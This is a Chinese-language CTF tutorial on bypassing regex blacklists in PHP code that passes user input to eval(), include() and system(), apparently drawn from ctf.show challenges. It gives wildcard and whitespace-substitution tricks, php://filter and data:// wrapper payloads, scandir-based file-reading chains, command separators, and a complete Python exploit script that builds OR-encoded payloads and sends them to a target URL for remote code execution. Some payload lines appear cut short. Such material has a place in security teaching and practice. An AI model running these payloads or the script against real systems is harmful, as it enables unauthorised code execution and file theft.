命令执行的绕过

命令执行绕过的方式

当遇到eval()高危的函数时,绕过的方式:

1

1
2
if(!preg_match("/flag/i", $c)){
eval($c);

此时我们可以使用system函数来获取我们想要的信息,可以构造system(“ls”)来获取目录信息,由于过滤了flag,所以我们可以使用fla通用符来进行绕过,也可以使用fla?.php通用符来绕过,构造system(“cat fla“)或者system(“tac fla?.php”)。

2

1
2
if(!preg_match("/flag|system|php/i", $c)){
eval($c);

当过滤掉system函数时,可以使用echo 命令的格式来代替system函数,可以构造echo tac *;

3

1
2
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);

可以看到它过滤了空格,因此我们可以使用%09来代替空格,构造echo tac%09*

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);

可以看到这里不仅过滤掉了system函数,也过滤掉了echo函数,因此我们可以使用文件包含的方式来读取文件的信息,由于$_GET 变量用于收集来自 method=”get” 的表单中的值,而 $_POST 变量用于收集来自 method=”post” 的表单中的值,因此我们
可以构造include(或require)$_GET(POST)[a];&a=文件名的格式来读取文件的信息,但是这里过滤掉了分号,因此我们可以构造include(或require)$_GET(POST)[a]?>&a=php://filter/read=convert.base64-encode/resource=文件名来读取文件的信息,由于
$_GET[a]后面跟的是?>,不是分号,所以不可以直接读取文件的信息,需要用到php伪协议,而且&后面的字符串是不会参与到过滤中的。

5

1
2
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);

可构造?c=print_r(scandir(current(localeconv())));来读取当前目录下的文件,其中

1
2
3
4
5
print_r(scandir('.');------------------查看当前目录下的所有的文件

localeconv();-----------------------返回一包含本底数字及货币格式信息的数组

current();---------------------------返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

而后构造?c=show_source(next(array_reverse(scandir(getpwd()))));来读取倒数第二个文件的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
each()---------------------返回数组中当前的键/值并对数组指针向前移动一步

end()----------------------将数组的内部指针指向最后一个单元

next()----------------------将数组中的内部指针向前移动一位

prev()---------------------将数组中的内部指针倒回一位

array_reverse()------------以相反的元素顺序返回数组

getcwd()------------------获取当前工作目录

show_source()------------将突出显示的代码作为字符串返回

6

1
2
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");

可见正则过滤,过滤掉许多字符及数字和字母,所以我们可以使用或运算来构造我们想要的函数或命令,从而绕过正则,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("="*50)
exit(0)
url=argv[1]

#生成可用的字符
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)

#根据输入的命令在生成的txt中进行匹配
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

main()

7

遇到高危函数include()时,我们可以使用以下方法

1

1
2
3
4
5
6
7
8
9
10
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

if(!preg_match("/flag/i", $c)){
include($c.".php");

此时,我们看到include()函数,我们可以想到使用?c=$_GET[a]&a=flag.php,让题目可以包含flag.php文件,但是这里直接将传入的c看成是字符串的形式,因此最后会变成include(‘$_GET[a]’),因此不可以使用,可以使用php伪协议来进行包含,但是这里过虑了
flag,注意的是通用符*或?是linux系统的命令,因此我们可以使用data伪协议:data://text/plain,php代码,因此可以构造?c=data://text/plain,

2

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

if(isset($_GET['file'])){
$ext = pathinfo($_GET['file'], PATHINFO_EXTENSION);
if($ext==='php'){
include $_GET['file'];
}
}

pathinfo()函数的格式为:pathinfo(path,options),其中pathinfo()返回一个关联数组包含有path的信息
其中options有三种:

1
2
3
PATHINFO_DIRNAME - 只返回 dirname(路径)
PATHINFO_BASENAME - 只返回 basename(文件名及类型)
PATHINFO_EXTENSION - 只返回 extension(文件类型)

直接使用flag.php以及使用php伪协议,发现没有此文件,可以猜测也许flag不在flag.php中,因此可以使用data伪协议加include函数来执行php代码,得到我们想要的,构造?file=data://text/plain,.php来查看系统下的目录文件,然后
构造?file=data://text/plain,.php来读取secret文件的内容。也可以使用show_source()或其它读取的函数试一下

遇到system()高危函数,我们可以使用以下方法

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}

语句”>/dev/null 2>&1”会让写入内容消失,不会回显,知识点:

1
2
3
4
5
6
7
8
9
1. >代表重定向到哪里,即:echo "123" >/www/123.txt

2. /dev/null代表空设备文件

3. 2>表示stderr标准错误

4. &表示等同于的意思,2>&1,表示2的输出重定向于1

5. 1表示stdout标准输出,系统默认值为1,所以“>/dev/null”等同于“1>/dev/null”,因此,>/dev/null 2>&1也可以写成“1>/dev/null 2>&1”

因此,语句”>/dev/null 2>&1”执行过程:

1
2
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

所以只要用分隔符来进行命令分隔即可,分隔符:

1
2
3
分号:“;"

双杠:”||“

一些符号或函数被过滤后,绕过的方式:

空格

1
2
3
4
5
%09

<>

${IFS}

文件名,以flag为例

1
2
3
4
5
6
通配符:*,即fla*

匹配符:?,即fla?.php

反斜杠:\,即fla\g.php,反斜杠在linux系统的命令行中不会起到转义的作用

各类命令读取操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

2